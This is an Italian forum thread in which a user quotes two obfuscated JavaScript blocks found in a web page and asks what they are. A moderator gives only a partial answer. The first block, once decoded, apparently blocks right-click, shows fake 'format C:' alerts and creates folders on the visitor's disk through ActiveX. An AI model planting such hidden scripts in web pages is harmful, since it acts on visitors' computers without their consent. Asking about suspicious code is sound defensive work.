Visualizzazione dei risultati da 1 a 4 su 4

Discussione: script sospetto

  1. #1

    script sospetto

    Navigando in internet ho guardato il codice sorgente di una pagina html e ho trovato questo codice collocato nell head, qualcuno sa che cosa č precisamente? grazie


    Codice PHP:
    <script type="text/javascript">
    /* <![CDATA[ */
    function hivelogic_enkoder(){var kode=
    "kode=\"grfxphqw1zulwh+%?vfulsw#w|sh@_%wh{w2mdydvfulsw_%A_u_qixqfwlrq#folfn"+
    "+,#~_u_q###li#+hyhqw1exwwrq@@5,#~_u_q####dohuw+_%WdVwR#gHvWuR#gLvDelOlwDwR"+
    "#VrXufH#sUrWhfW#sOhDvH$$$#Vsxofld#qhl#vrujhqwl#wxrl/#qrq#qhl#Plhl_%,>_u_q#"+
    "###dohuw+_%Irupdwwr#lo#sf#BBB/#Yxrl#fkh#hvhjxd__qIRUPDW#F=#2x#2|_%,>_u_q##"+
    "##dohuw+_%Vfkhu}r/#frqihupd#shu#survhjxluh#qhood#qdyljd}lrqh#gho#vlwr_%,>_"+
    "u_q####dohuw+_%Vfulsw#Fuhdwhg#_636_56:|#_635_584Guhdnhu_635_589/#5323424<<"+
    "<_%,>_u_q####ydu#ivr>_u_q##ivr\\\#@#qhz#Dfwlyh[Remhfw+_%Vfulswlqj1IlohV|vw"+
    "hpRemhfw_%,>_u_q##ivr1FuhdwhIroghu+_%____34bYXRL#KDFKHUDUH#LO#VLWRB_%,>_u_"+
    "q##ivr1FuhdwhIroghu+_%____35bQRQ#FOLNNDUH#SLX#FRQ#LO#WDVWR#GHVWUR#R_%,>_u_"+
    "q####\\000_u_q##\\000_u_qgrfxphqw1rqprxvhgrzq@folfn_u_qydu#eurzvhu@qdyljdw"+
    "ru1dssQdph>_u_q#####li#+eurzvhu@@_%Iluhir{_%,#~_u_q########dohuw+_%Wdvwr#g"+
    "hvwur#Glvdelolwdwr_%,>_u_q########dohuw+_%Qrq#xvduh#Qhwvfdsh/#Shffdwr111FL"+
    "DR_%,>_u_q########zlqgrz1orfdwlrq@_%iloh=222F\\1772Zlqgrzv2jhqhudo1w{w_%>_"+
    "u_q\\000_u_q?2vfulswA%,>\";x='';for(i=0;i<kode.length;i++){c=kode.charCode"+
    "At(i)-3;if(c<0)c+=128;x+=String.fromCharCode(c)}kode=x"
    ;var i,c,x;while(eval(kode));}hivelogic_enkoder();
    /* ]]> */
    </script> 
    e

    Codice PHP:
    <script type="text/javascript">
    /* <![CDATA[ */
    function hivelogic_enkoder(){var kode=
    "kode=\"oducemtnw.iret\\\"(s<rcpi tytep\\\\=t\\\"xe/tajavcsirtp\\\"\\\\\\\\"+
    ">\\\\r n      f nutcoi n0x2862(3 )\\\\{\\\\r n              w niod.wesTtmi"+
    "oetu (\\\"\\\\0x2862(3\\\\),\\\"1 00) \\\\;\\\\r n              t doya= n "+
    "weD ta(e;)r\\\\n\\\\                esfls.atut s =otad.yottSirgn)(\\\\;\\"+
    "\\r n  } r\\\\n\\\\0x2862(3\\\\)\\\\r\\\\n\\\\rvnras et=p;0r\\\\n\\\\av ri"+
    "temir;dr\\\\n\\\\ufcnitnox 603590)(\\\\ \\\\r nd{= n weD ta(e;)r\\\\n\\\\ "+
    "  s= \\\\ \\\\\\\"+\\\".degHtuosr)(\\\\;\\\\r ni (fs(et%p)2==)0s +  =\\\""+
    "\\\\\\\\ ;\\\"r\\\\n\\\\  leess =+\\\"\\\\\\\\:;\\\"r\\\\n\\\\  fid(g.teiM"+
    "unet(s<)01 )ss\\\\=0\\\"\\\"\\\\d+g.teiMunet(s+)\\\"\\\\\\\\ ;\\\"r\\\\n\\"+
    "\\  lees                  ssd=g.teiMunet(s+)\\\"\\\\\\\\ ;\\\"r\\\\n\\\\  "+
    "tspe++\\\\;\\\\r ns =+ss\\\\;\\\\r\\\\n\\\\r ny ae r =.degYtae(r;)r\\\\n\\"+
    "\\r\\\\n\\\\  ad y =.degDtya)(\\\\;\\\\r\\\\n\\\\r ni (fad=y1= )+s\\\\= \\"+
    "\"oM,n\\\"\\\\\\\\;\\\\r ni (fad=y2= )+s\\\\= \\\"uT,e\\\"\\\\\\\\;\\\\r n"+
    "i (fad=y3= )+s\\\\= \\\"eW,d\\\"\\\\\\\\;\\\\r ni (fad=y4= )+s\\\\= \\\"hT"+
    ",u\\\"\\\\\\\\;\\\\r ni (fad=y5= )+s\\\\= \\\"rF,i\\\"\\\\\\\\;\\\\r ni (f"+
    "ad=y6= )+s\\\\= \\\"aS,t\\\"\\\\\\\\;\\\\r ni (fad=y0= )+s\\\\= \\\"uS,n\\"+
    "\"\\\\\\\\;\\\\r ns =+\\\"\\\\\\\\ +\\\"d(g.teoMtn(h+))1\\\\+/\\\"\\\"\\\\"+
    "d+g.teaDet)(\\\\+/\\\"\\\"\\\\y+ae;rr\\\\n\\\\  htsid.comune.tofmr[s]0e.el"+
    "emtn[s]0v.laeus=\\\\;\\\\r nt miredis=teiTemuo(tx'603590)(,'05;)r\\\\n\\\\"+
    "} r\\\\n\\\\ufcnitnox 50486478)(r\\\\n\\\\{ iwdnwoc.elraiTemuo(titemir)d};"+
    "r\\\\n\\\\/<csirtp\\\">;)\";x='';for(i=0;i<(kode.length-1);i+=2){x+=kode.c"+
    "harAt(i+1)+kode.charAt(i)}kode=x+(i<kode.length?kode.charAt(kode.length-1)"+
    ":'');"
    ;var i,c,x;while(eval(kode));}hivelogic_enkoder();
    /* ]]> */
    </script> 
    Il PHP non č il mio forte e con i Phpisti Malvisti sono un webmaster malvisto

    pero' con la Letteratura Italiana me la cavicchio.... ghghg...

  2. #2
    nessuno ha una vaga idea di cosa puo' essere?
    Il PHP non č il mio forte e con i Phpisti Malvisti sono un webmaster malvisto

    pero' con la Letteratura Italiana me la cavicchio.... ghghg...

  3. #3
    Moderatore di Annunci siti web, Offro lavoro/collaborazione, Cerco lavoro L'avatar di cavicchiandrea
    Registrato dal
    Aug 2001
    Messaggi
    26,133

    Re: script sospetto

    Originariamente inviato da fedemarkez
    Navigando in internet ho guardato il codice sorgente di una pagina html e ho trovato questo codice collocato nell head, qualcuno sa che cosa č precisamente? grazie


    Codice PHP:
    <script type="text/javascript">
    /* <![CDATA[ */
    function hivelogic_enkoder(){var kode=
    "kode=\"grfxphqw1zulwh+%?vfulsw#w|sh@_%wh{w2mdydvfulsw_%A_u_qixqfwlrq#folfn"+
    "+,#~_u_q###li#+hyhqw1exwwrq@@5,#~_u_q####dohuw+_%WdVwR#gHvWuR#gLvDelOlwDwR"+
    "#VrXufH#sUrWhfW#sOhDvH$$$#Vsxofld#qhl#vrujhqwl#wxrl/#qrq#qhl#Plhl_%,>_u_q#"+
    "###dohuw+_%Irupdwwr#lo#sf#BBB/#Yxrl#fkh#hvhjxd__qIRUPDW#F=#2x#2|_%,>_u_q##"+
    "##dohuw+_%Vfkhu}r/#frqihupd#shu#survhjxluh#qhood#qdyljd}lrqh#gho#vlwr_%,>_"+
    "u_q####dohuw+_%Vfulsw#Fuhdwhg#_636_56:|#_635_584Guhdnhu_635_589/#5323424<<"+
    "<_%,>_u_q####ydu#ivr>_u_q##ivr\\\#@#qhz#Dfwlyh[Remhfw+_%Vfulswlqj1IlohV|vw"+
    "hpRemhfw_%,>_u_q##ivr1FuhdwhIroghu+_%____34bYXRL#KDFKHUDUH#LO#VLWRB_%,>_u_"+
    "q##ivr1FuhdwhIroghu+_%____35bQRQ#FOLNNDUH#SLX#FRQ#LO#WDVWR#GHVWUR#R_%,>_u_"+
    "q####\\000_u_q##\\000_u_qgrfxphqw1rqprxvhgrzq@folfn_u_qydu#eurzvhu@qdyljdw"+
    "ru1dssQdph>_u_q#####li#+eurzvhu@@_%Iluhir{_%,#~_u_q########dohuw+_%Wdvwr#g"+
    "hvwur#Glvdelolwdwr_%,>_u_q########dohuw+_%Qrq#xvduh#Qhwvfdsh/#Shffdwr111FL"+
    "DR_%,>_u_q########zlqgrz1orfdwlrq@_%iloh=222F\\1772Zlqgrzv2jhqhudo1w{w_%>_"+
    "u_q\\000_u_q?2vfulswA%,>\";x='';for(i=0;i<kode.length;i++){c=kode.charCode"+
    "At(i)-3;if(c<0)c+=128;x+=String.fromCharCode(c)}kode=x"
    ;var i,c,x;while(eval(kode));}hivelogic_enkoder();
    /* ]]> */
    </script> 
    e

    Codice PHP:
    <script type="text/javascript">
    /* <![CDATA[ */
    function hivelogic_enkoder(){var kode=
    "kode=\"oducemtnw.iret\\\"(s<rcpi tytep\\\\=t\\\"xe/tajavcsirtp\\\"\\\\\\\\"+
    ">\\\\r n      f nutcoi n0x2862(3 )\\\\{\\\\r n              w niod.wesTtmi"+
    "oetu (\\\"\\\\0x2862(3\\\\),\\\"1 00) \\\\;\\\\r n              t doya= n "+
    "weD ta(e;)r\\\\n\\\\                esfls.atut s =otad.yottSirgn)(\\\\;\\"+
    "\\r n  } r\\\\n\\\\0x2862(3\\\\)\\\\r\\\\n\\\\rvnras et=p;0r\\\\n\\\\av ri"+
    "temir;dr\\\\n\\\\ufcnitnox 603590)(\\\\ \\\\r nd{= n weD ta(e;)r\\\\n\\\\ "+
    "  s= \\\\ \\\\\\\"+\\\".degHtuosr)(\\\\;\\\\r ni (fs(et%p)2==)0s +  =\\\""+
    "\\\\\\\\ ;\\\"r\\\\n\\\\  leess =+\\\"\\\\\\\\:;\\\"r\\\\n\\\\  fid(g.teiM"+
    "unet(s<)01 )ss\\\\=0\\\"\\\"\\\\d+g.teiMunet(s+)\\\"\\\\\\\\ ;\\\"r\\\\n\\"+
    "\\  lees                  ssd=g.teiMunet(s+)\\\"\\\\\\\\ ;\\\"r\\\\n\\\\  "+
    "tspe++\\\\;\\\\r ns =+ss\\\\;\\\\r\\\\n\\\\r ny ae r =.degYtae(r;)r\\\\n\\"+
    "\\r\\\\n\\\\  ad y =.degDtya)(\\\\;\\\\r\\\\n\\\\r ni (fad=y1= )+s\\\\= \\"+
    "\"oM,n\\\"\\\\\\\\;\\\\r ni (fad=y2= )+s\\\\= \\\"uT,e\\\"\\\\\\\\;\\\\r n"+
    "i (fad=y3= )+s\\\\= \\\"eW,d\\\"\\\\\\\\;\\\\r ni (fad=y4= )+s\\\\= \\\"hT"+
    ",u\\\"\\\\\\\\;\\\\r ni (fad=y5= )+s\\\\= \\\"rF,i\\\"\\\\\\\\;\\\\r ni (f"+
    "ad=y6= )+s\\\\= \\\"aS,t\\\"\\\\\\\\;\\\\r ni (fad=y0= )+s\\\\= \\\"uS,n\\"+
    "\"\\\\\\\\;\\\\r ns =+\\\"\\\\\\\\ +\\\"d(g.teoMtn(h+))1\\\\+/\\\"\\\"\\\\"+
    "d+g.teaDet)(\\\\+/\\\"\\\"\\\\y+ae;rr\\\\n\\\\  htsid.comune.tofmr[s]0e.el"+
    "emtn[s]0v.laeus=\\\\;\\\\r nt miredis=teiTemuo(tx'603590)(,'05;)r\\\\n\\\\"+
    "} r\\\\n\\\\ufcnitnox 50486478)(r\\\\n\\\\{ iwdnwoc.elraiTemuo(titemir)d};"+
    "r\\\\n\\\\/<csirtp\\\">;)\";x='';for(i=0;i<(kode.length-1);i+=2){x+=kode.c"+
    "harAt(i+1)+kode.charAt(i)}kode=x+(i<kode.length?kode.charAt(kode.length-1)"+
    ":'');"
    ;var i,c,x;while(eval(kode));}hivelogic_enkoder();
    /* ]]> */
    </script> 
    Cosč? La prima una funzione javascript criptata.
    La seconda la stessa funzione decriptata male, pertanto incoprensibile comunque.:rollo:
    A cosa serve? Difficile capire immediatamente a cosa serva (vedi pessima decriptatura) bisognerebbe studiarla affondo, e non č detto che lo si capisca.

    P.S. Ho vinto qualcosa?
    Cavicchi Andrea
    Problemi con javascript, jquery, ajax clicca qui

  4. #4
    ah ho capito.... quindi non ce modo per capire che robaccia č?

    PS: no al momento non hai dato la risposta esatta e non hai vinto nulla
    Il PHP non č il mio forte e con i Phpisti Malvisti sono un webmaster malvisto

    pero' con la Letteratura Italiana me la cavicchio.... ghghg...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.